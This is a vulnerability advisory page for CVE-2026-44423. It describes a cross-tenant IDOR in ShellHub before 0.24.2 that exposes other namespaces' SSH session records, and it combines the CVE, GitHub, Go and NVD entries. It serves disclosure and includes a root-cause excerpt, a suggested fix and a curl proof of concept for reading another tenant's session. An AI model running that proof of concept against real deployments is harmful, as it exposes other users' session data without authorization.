CVE-2026-44423
JSON

6.5medium

ShellHub: Cross-tenant IDOR in `GET /api/sessions/:uid` discloses SSH session data

Severity
6.5medium CVSS:3.1 by GitHub_M
Exploit likelihood
0.25% (higher than 16% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-9w9c-9w8m-w89qGO-2026-5302

Description

ShellHub is a centralized SSH gateway. Prior to 0.24.2, GET /api/sessions/:uid returns the full session object for any authenticated caller, without scoping by the caller's tenant. An authenticated user can read session records (SSH username, device UID, remote IP, terminal type, authenticated flag, timestamps) belonging to any other namespace. This vulnerability is fixed in 0.24.2.

Affected

Product or packageVersionsReported by
shellhub-io shellhub< 0.24.2CVE List
github.com/shellhub-io/shellhub (Go)before 0.24.2GitHub Advisory Database, Go Vulnerability Database
shellhub shellhubbefore 0.24.2NVD

All scores

GitHub_M6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
GitHub6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Classification

CWE-639

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

ShellHub is a centralized SSH gateway. Prior to 0.24.2, GET /api/sessions/:uid returns the full session object for any authenticated caller, without scoping by the caller's tenant. An authenticated user can read session records (SSH username, device UID, remote IP, terminal type, authenticated flag, timestamps) belonging to any other namespace. This vulnerability is fixed in 0.24.2.

GitHub Advisory Database

Summary

GET /api/sessions/:uid returns the full session object for any authenticated caller, without scoping by the caller's tenant. An authenticated user can read session records (SSH username, device UID, remote IP, terminal type, authenticated flag, timestamps) belonging to any other namespace.

Severity

CVSS 3.1: 7.5 (High) CWE-639

Affected versions

ShellHub Community v0.24.1 (by code inspection — same vulnerable pattern as GetDevice). Not plant-reproducible without an active SSH session, but the flaw is structurally identical and confirmed via static analysis.

Root cause

api/services/session.go:37-44 — GetSession resolves the session by UID without any tenant filter:

func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) {
    session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid))
    // ⚠️ missing: s.store.Options().InNamespace(tenant)
    ...
}

The Authorize middleware only verifies presence of a tenant in the context, not ownership of the requested session.

Proof of concept

Pre-requisite: attacker has any valid user account and has obtained a session UID from the victim tenant (UIDs may leak via logs, shared session recordings, UI URLs, or through the device IDOR in the companion advisory since sessions reference devices by UID).

ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

# Attempt cross-tenant read
curl -i "http://target/api/sessions/<victim-session-uid>" \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed):   HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full session JSON

Impact

  • Cross-tenant disclosure of SSH session data: target username, device UID, remote IP, authenticated status, session type, terminal, position (geolocation), started_at / last_seen timestamps.
  • Enables reconnaissance of other tenants' active users and systems; combined with session recording features, can enable deeper recon.

Suggested fix

api/services/session.go — apply InNamespace in GetSession:

func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) {
    tenant := gateway.TenantFromContext(ctx)
    opts := []store.QueryOption{}
    if tenant != nil {
        opts = append(opts, s.store.Options().InNamespace(tenant.ID))
    }
    session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid), opts...)
    ...
}
Go Vulnerability Database

ShellHub has cross-tenant IDOR in GET /api/sessions/:uid that discloses SSH session data in github.com/shellhub-io/shellhub

NVD (es)

ShellHub es una pasarela SSH centralizada. Anteriormente a la 0.24.2, GET /api/sessions/:uid devuelve el objeto de sesión completo para cualquier llamador autenticado, sin limitar el alcance por el inquilino del llamador. Un usuario autenticado puede leer registros de sesión (nombre de usuario SSH, UID del dispositivo, IP remota, tipo de terminal, indicador de autenticación, marcas de tiempo) pertenecientes a cualquier otro espacio de nombres. Esta vulnerabilidad se corrige en la versión 0.24.2.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-44423 changed 2026-05-14CVE Terms of Use
GitHub Advisory DatabaseGHSA-9w9c-9w8m-w89q changed 2026-07-21CC-BY-4.0
Go Vulnerability DatabaseGO-2026-5302 changed 2026-06-25CC-BY-4.0
NVDCVE-2026-44423 changed 2026-11-11Public domain